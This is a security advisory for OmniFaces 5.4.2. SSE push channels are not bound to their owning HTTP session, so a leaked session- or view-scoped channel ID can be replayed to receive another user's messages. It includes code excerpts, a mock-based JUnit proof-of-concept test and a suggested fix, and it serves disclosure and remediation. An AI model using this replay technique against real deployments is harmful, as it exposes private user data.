همهٔ گزارش‌ها
متوسط

OmniFaces: SSE push channels are not bound to their owning HTTP session

متن اصلی

نسخه‌های متأثر

نسخه‌های متأثر
>= 5.2.0, <= 5.4.2
نسخهٔ اصلاح‌شده
5.4.3

شرح آسیب‌پذیری

Summary

GHSA-fp43-vj7g-pg92 (fixed 5.4.2) bound session- and view-scoped WebSocket (o:socket) push channels to the HTTP session that registered them, so a leaked channel ID can no longer be connected to from a foreign or absent HTTP session. The fix (d5cae243c4) touched only the Socket* classes.

The parallel SSE (o:sse, added in 5.2) push transport was left unchanged. SseEndpoint.doGet accepts a connection whenever the presented channel ID is in the application-wide registry, without ever checking that the caller's HTTP session owns it. A leaked session/view-scoped SSE channel ID can therefore be replayed from any (or no) HTTP session to receive the messages pushed to it — exactly the behaviour the advisory removed for WebSocket, still present on SSE at the latest release.

Root Cause

Both push transports share the same base classes. A session- or view-scoped channel ID is minted as channel + "?" + UUID.randomUUID() and registered only in an application-scoped, session-agnostic registry: PushChannelManager#L123 mints it and #L136 calls getPushSessions().register(channelId); the registry's membership test is PushSessionManager#L137-L139:

protected boolean isRegistered(String channelId) {
    return sessions.containsKey(channelId); // keyed by channelId only — no HTTP-session dimension
}

WebSocket (fixed). SocketChannelManager.register additionally records session/view channel IDs on the HTTP session, and the handshake refuses anything not owned by the caller's session, at SocketEndpoint.java#L133-L142:

if (
    !SocketChannelManager.isApplicationScopedChannelId(channelId)
        && !SocketChannelManager.isChannelIdRegisteredInSession((HttpSession) request.getHttpSession(), channelId)
) {
    throw new IllegalStateException(ERROR_UNAUTHORIZED_CHANNEL);
}

SSE (unfixed). SseChannelManager extends the base register() unchanged (no HTTP-session registration), and the endpoint's sole accept gate is the global isRegistered check, at SseEndpoint.java#L59-L66:

var channel = getChannel(request);
var channelId = channel + "?" + request.getQueryString();
var sseSessions = Beans.getReference(SseSessionManager.class);

if (channel == null || !sseSessions.isRegistered(channelId)) {
    response.getOutputStream().write(SSE_NOT_FOUND_EVENT);
    return;
}
// ...accepts: startAsync() and streams events for this channel

doGet never calls request.getSession(...); no Sse* class consults the HTTP session for the accept decision. So for a session/view-scoped channel ID the fix intends to bind, WebSocket refuses a foreign/absent session while SSE accepts it. (Application-scoped channels are unbound by design on both transports — not at issue here.)

Related, same root cause: the idle-timeout and max-sessions-per-channel bounds the fix added to SocketEndpoint / SocketSessionManager were also not ported to SSE — SseEndpoint.doGet sets asyncContext.setTimeout(0) and SseSessionManager inherits the unbounded getMaxSessionsPerChannel().

Steps to Reproduce

The PoC drives the real SseEndpoint.doGet from omnifaces 5.4.2 and shows it accepts a leaked session-scoped channel ID from a request carrying no owning HTTP session (and never consults the session), while the WebSocket fix refuses the same class of ID.

Prerequisites
  • JDK 21 or newer (tested on Temurin/Zulu 21 and OpenJDK 25)

  • Apache Maven 3.9+

Step 1: Create the project
mkdir -p /tmp/omnifaces-sse-poc/src/test/java/org/omnifaces/cdi/push
cd /tmp/omnifaces-sse-poc
cat > pom.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>poc</groupId>
    <artifactId>omnifaces-sse-poc</artifactId>
    <version>1.0</version>
    <packaging>jar</packaging>
    <properties>
        <maven.compiler.release>21</maven.compiler.release>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.omnifaces</groupId>
            <artifactId>omnifaces</artifactId>
            <version>5.4.2</version>
        </dependency>
        <dependency>
            <groupId>jakarta.servlet</groupId>
            <artifactId>jakarta.servlet-api</artifactId>
            <version>6.1.0</version>
        </dependency>
        <dependency>
            <groupId>jakarta.enterprise</groupId>
            <artifactId>jakarta.enterprise.cdi-api</artifactId>
            <version>4.1.0</version>
        </dependency>
        <dependency>
            <groupId>jakarta.websocket</groupId>
            <artifactId>jakarta.websocket-api</artifactId>
            <version>2.2.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.myfaces.core</groupId>
            <artifactId>myfaces-api</artifactId>
            <version>4.1.0</version>
        </dependency>
        <dependency>
            <groupId>jakarta.el</groupId>
            <artifactId>jakarta.el-api</artifactId>
            <version>6.0.0</version>
        </dependency>
        <dependency>
            <groupId>org.junit.jupiter</groupId>
            <artifactId>junit-jupiter</artifactId>
            <version>5.11.3</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.mockito</groupId>
            <artifactId>mockito-core</artifactId>
            <version>5.14.2</version>
            <scope>test</scope>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-surefire-plugin</artifactId>
                <version>3.5.1</version>
            </plugin>
        </plugins>
    </build>
</project>
EOF
Step 2: Add the test
cd /tmp/omnifaces-sse-poc
cat > src/test/java/org/omnifaces/cdi/push/SseChannelBindingPoCTest.java <<'EOF'
package org.omnifaces.cdi.push;

import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.ArgumentMatchers.anyBoolean;
import static org.mockito.Mockito.RETURNS_DEEP_STUBS;
import static org.mockito.Mockito.atLeastOnce;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.mockStatic;
import static org.mockito.Mockito.never;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;

import java.lang.reflect.Field;
import java.util.UUID;

import org.junit.jupiter.api.Test;
import org.mockito.MockedStatic;
import org.omnifaces.util.Beans;

import jakarta.servlet.AsyncContext;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

// Placed in package org.omnifaces.cdi.push to reach the protected/package-private push internals.
class SseChannelBindingPoCTest {

    // Drives the REAL SseEndpoint.doGet from omnifaces 5.4.2 (the advisory-patched release).
    // A session-scoped SSE channel id that leaked is accepted from a request that carries no
    // owning HTTP session, and the endpoint never even calls getSession().
    @Test
    void sse_endpoint_accepts_leaked_channel_from_a_request_with_no_session() throws Exception {
        SseSessionManager registry = new SseSessionManager();          // the @ApplicationScoped global registry
        setField(registry, "sseUsers", mock(SseUserManager.class));    // consulted by add(); return null user

        String channel = "clock";
        String uuid = UUID.randomUUID().toString();
        String leakedChannelId = channel + "?" + uuid;                 // session-scoped id = channel + "?" + UUID
        registry.register(leakedChannelId);                            // victim's page registered it at push time

        HttpServletRequest request = mock(HttpServletRequest.class, RETURNS_DEEP_STUBS);
        when(request.getPathInfo()).thenReturn("/" + channel);
        when(request.getQueryString()).thenReturn(uuid);
        AsyncContext asyncContext = mock(AsyncContext.class);
        when(request.startAsync()).thenReturn(asyncContext);
        HttpServletResponse response = mock(HttpServletResponse.class, RETURNS_DEEP_STUBS);

        try (MockedStatic<Beans> beans = mockStatic(Beans.class)) {
            beans.when(() -> Beans.getReference(SseSessionManager.class)).thenReturn(registry);

            new SseEndpoint().doGet(request, response);                // the real endpoint

            verify(request).startAsync();                              // accept branch: event stream opened
            assertTrue(registry.isRegistered(leakedChannelId));        // attacker connection registered under victim's id
            verify(request, never()).getSession();                     // endpoint NEVER consults the HTTP session
            verify(request, never()).getSession(anyBoolean());
            verify(response, never()).getOutputStream();               // 404 reject branch NOT taken
            beans.verify(() -> Beans.getReference(SseSessionManager.class), atLeastOnce());
        }
    }

    // The differential: GHSA-fp43-vj7g-pg92 added exactly this binding to the WebSocket transport.
    // For the same class of leaked session-scoped id, a caller with no owning HTTP session is refused.
    @Test
    void websocket_fix_binds_the_same_class_of_id_to_the_http_session() {
        String leakedSessionScopedChannelId = "clock?" + UUID.randomUUID();
        assertFalse(SocketChannelManager.isChannelIdRegisteredInSession(null, leakedSessionScopedChannelId));
        assertFalse(SocketChannelManager.isApplicationScopedChannelId(leakedSessionScopedChannelId));
    }

    private static void setField(Object target, String name, Object value) throws Exception {
        Field field = SseSessionManager.class.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target, value);
    }
}
EOF
Step 3: Run
cd /tmp/omnifaces-sse-poc
mvn -B test -DargLine="-Dnet.bytebuddy.experimental=true"

The net.bytebuddy.experimental flag lets Mockito's inline mock maker run on JDK 25; it is harmless on JDK 21-24.

Expected output:

[INFO]  T E S T S
[INFO] Running org.omnifaces.cdi.push.SseChannelBindingPoCTest
[INFO] Tests run: 2, Failures: 0, Errors: 0, Skipped: 0
[INFO] BUILD SUCCESS

sse_endpoint_accepts_leaked_channel_from_a_request_with_no_session passing means the real SseEndpoint.doGet opened the event stream for the leaked channel ID (startAsync called, connection registered, no 404 written) without ever calling getSession(). websocket_fix_binds_the_same_class_of_id_to_the_http_session passing shows the WebSocket fix refuses that same class of ID for a caller with no owning session.

Suggested Fix

Port the WebSocket session binding to SSE: register session/view scoped channel IDs on the HTTP session (as SocketChannelManager.registerChannelIdInSession does) and, in SseEndpoint.doGet, refuse the connection unless the channel is application-scoped or isChannelIdRegisteredInSession(request.getSession(false), channelId). Also port the idle-timeout and max-sessions-per-channel bounds to SseEndpoint / SseSessionManager. (Advisory only.)

Cleanup

rm -rf /tmp/omnifaces-sse-poc

Impact

An application that uses <o:sse> / @Push(type=SSE) with scope="session", scope="view", or a user attribute pushes messages intended for one session/user. The channel ID (channel + "?" + UUID) is a per-session/view secret carried in the SSE request URL, so it is exposed anywhere such URLs are logged: proxy and server access logs (CWE-598), APM / error reports, Referer headers, or a shared/copied link. An attacker who obtains a victim's channel ID can, from a different browser or with no session at all, connect to the SSE endpoint and receive every message the application pushes to that channel — data the scope exists to keep private to the victim. This is the same replay the maintainer fixed for the WebSocket transport in GHSA-fp43-vj7g-pg92 (issue: session/view channels connectable from a foreign or absent HTTP session), still reachable on SSE at 5.4.2. The concrete confidentiality depends on what the application pushes to the scope; the attacker only receives (no message injection). It requires prior exposure of the channel ID, matching the advisory's own threat model for the WebSocket case.

پیوندها

گزارش‌دهندگان

  • alimony